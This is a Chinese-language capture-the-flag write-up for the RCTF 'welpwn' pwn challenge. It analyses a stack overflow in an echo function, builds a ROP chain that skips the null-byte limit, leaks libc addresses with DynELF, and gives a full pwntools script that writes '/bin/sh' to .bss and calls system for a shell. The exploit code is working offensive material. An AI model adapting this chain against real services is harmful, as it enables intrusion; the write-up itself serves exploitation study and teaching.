0x00 代码分析
检查保护,只开启了NX
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int echo(__int64 a1)
{
char s2[16]; #[rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
int main(int argc, const char **argv, const char **envp)
{
char buf; #[rsp+0h] [rbp-400h]
alarm(0xAu);
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}
先read 1024字节,然后echo函数中循环赋值导致栈溢出,循环到\0结束,由于64位程序代码段中地址高8位多是00,因此需要构造ROP过掉\0限制。
0x01 漏洞利用
1,这次read函数不会溢出,在echo函数里面会发生溢出,但是他会判断输入的字符不为\0。
2,payload思路是先使用puts函数Memleak出system函数的地址,p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
3,使用peda测得偏移为24.但是发送的payload里面含有\0.
由于函数嵌套调用,想到echo函数的栈空间在main函数的上面,于是可以在echo函数里溢出到main函数栈空间。
经GDB调试发现 当输入 “A” * 24 + “B” * 4 结果如下
栈中 0x7fffffffdde0 位置存放输入数据。
继续调试到echo函数的ret 如下图
可以看到echo函数复制的s2栈空间覆盖刚好覆盖在main函数buf栈空间上面.
4,所以我们只需要在溢出的地方构造一个gadget跳过 “A” * 24,这里我在溢出的EIP设置
1
pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
具体构造如下
1
2
rop='A'*24 + p64(ppppr)
rop += p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
这样当echo函数返回时,就能借助这个gadget跳过原字符串的前32字节数据,即可进入我们正常的poprdi调用过程。 如下图
5,然后接下来就是用64位通用gadget,调用read往bss段写“/bin/sh”,调用system函数,我构造的payload如下(其中gad1与gad2是_ libc _csu _init函数的通用gadget):
1
2
rop1='A'*24 + p64(ppppr)
rop1+= p64(gad1) + p64(0)+p64(1)+p64(read_got)+p64(9)+p64(bss_start)+p64(0)+p64(gad2)+"A"*56+ p64(poprdi) + p64(bss_start) + p64(system)
0x02 py脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import pwnlib
context(os='linux', arch='amd64', log_level='debug')
p = process('./welpwn')
e=ELF("./welpwn")
ppppr = 0x40089c
poprdi = 0x004008a3
main = 0x4007CD
gad1=0x40089A
gad2=0x400880
read_got=e.got["read"]
puts_plt=e.plt["puts"]
bss_start =e.bss()
p.recvline()
def leak(addr):
rop='A'*24 + p64(ppppr)
rop += p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
p.send(rop)
p.recvn(27)
str = p.recvuntil('RCTF\n')
result = str.split('\nWelcome')[0]
if result == '':
return '\x00'
return result
d = DynELF(leak, elf=ELF('./welpwn'))
system = d.lookup('system', 'libc')
print "systemaddr======"+hex(system)
rop1='A'*24 + p64(ppppr)
rop1+= p64(gad1) + p64(0)+p64(1)+p64(read_got)+p64(9)+p64(bss_start)+p64(0)+p64(gad2)+"A"*56+ p64(poprdi) + p64(bss_start) + p64(system)
p.send( rop1)
p.send('/bin/sh\x00')
p.interactive()